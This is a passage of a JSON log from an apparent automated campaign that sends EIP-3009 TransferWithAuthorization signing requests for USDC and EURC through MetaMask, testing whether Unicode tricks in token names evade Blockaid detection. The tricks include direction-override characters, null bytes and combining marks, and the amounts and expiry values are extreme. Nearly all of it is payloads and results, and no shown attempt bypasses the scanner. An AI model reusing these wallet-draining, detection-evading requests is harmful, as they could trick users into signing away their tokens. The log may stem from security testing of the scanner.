"EIP3009-combo-USDC-thin_space-trailing_zeros-just_now-zero-mixed_case-v3", "category": "eip3009", "description": "USDC + thin_space + trailing_zeros + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN15-COMBO-9", "timestamp": "2026-01-31T23:52:20.382Z", "technique": "EIP3009-combo-EURC-carriage_return-alternating-numeric_ts-max-lowercase-v3", "category": "eip3009", "description": "EURC + carriage_return + alternating + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\rC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN15-COMBO-10", "timestamp": "2026-01-31T23:52:27.409Z", "technique": "EIP3009-combo-EURC-combining_mark-alternating-just_now-zero-checksum-v4", "category": "eip3009", "description": "EURC + combining_mark + alternating + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR̀C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN15-COMBO-11", "timestamp": "2026-01-31T23:52:34.376Z", "technique": "EIP3009-combo-USDC-ltr_override-leading_zeros_many-max_uint-all_a-checksum-v3", "category": "eip3009", "description": "USDC + ltr_override + leading_zeros_many + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‭USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN15-COMBO-12", "timestamp": "2026-01-31T23:52:43.717Z", "technique": "EIP3009-combo-EURC-null_byte-numeric_small-just_now-mixed_case_hex-checksum-v3", "category": "eip3009", "description": "EURC + null_byte + numeric_small + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u0000C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":999999999999,\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x8a25C6B6A5978dDdA52e8e3d5714E98b2337DbE730D9B4965cCa95E3BaE4293a\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN15-COMBO-13", "timestamp": "2026-01-31T23:52:50.802Z", "technique": "EIP3009-combo-EURC-combining_mark-leading_zeros_many-leading_zeros_ts-sequential-lowercase-signTypedData", "category": "eip3009", "description": "EURC + combining_mark + leading_zeros_many + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR̀C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c1677de65\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN15-COMBO-14", "timestamp": "2026-01-31T23:52:57.326Z", "technique": "EIP3009-combo-EURC-rtl_override-numeric_small-narrow_1hr-sequential-lowercase-signTypedData", "category": "eip3009", "description": "EURC + rtl_override + numeric_small + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‮EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":999999999999,\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c1677de66\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN16-COMBO-0", "timestamp": "2026-01-31T23:53:03.857Z", "technique": "EIP3009-combo-USDC-newline-repeating-far_future-max-mixed_case-v4", "category": "eip3009", "description": "USDC + newline + repeating + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\n Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"123123123123123123123123123123123\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN16-COMBO-1", "timestamp": "2026-01-31T23:53:10.389Z", "technique": "EIP3009-combo-USDC-newline-hex_1m-past_2020-leading_zeros_nonce-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + newline + hex_1m + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\n Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN16-COMBO-2", "timestamp": "2026-01-31T23:53:18.169Z", "technique": "EIP3009-combo-EURC-rtl_override-padded_64-past_2020-sequential-mixed_case-v4", "category": "eip3009", "description": "EURC + rtl_override + padded_64 + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‮EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16797271\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN16-COMBO-3", "timestamp": "2026-01-31T23:53:27.256Z", "technique": "EIP3009-combo-USDC-carriage_return-hex_short-max_uint-sequential-checksum-v3", "category": "eip3009", "description": "USDC + carriage_return + hex_short + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\r Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16797271\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } } ] }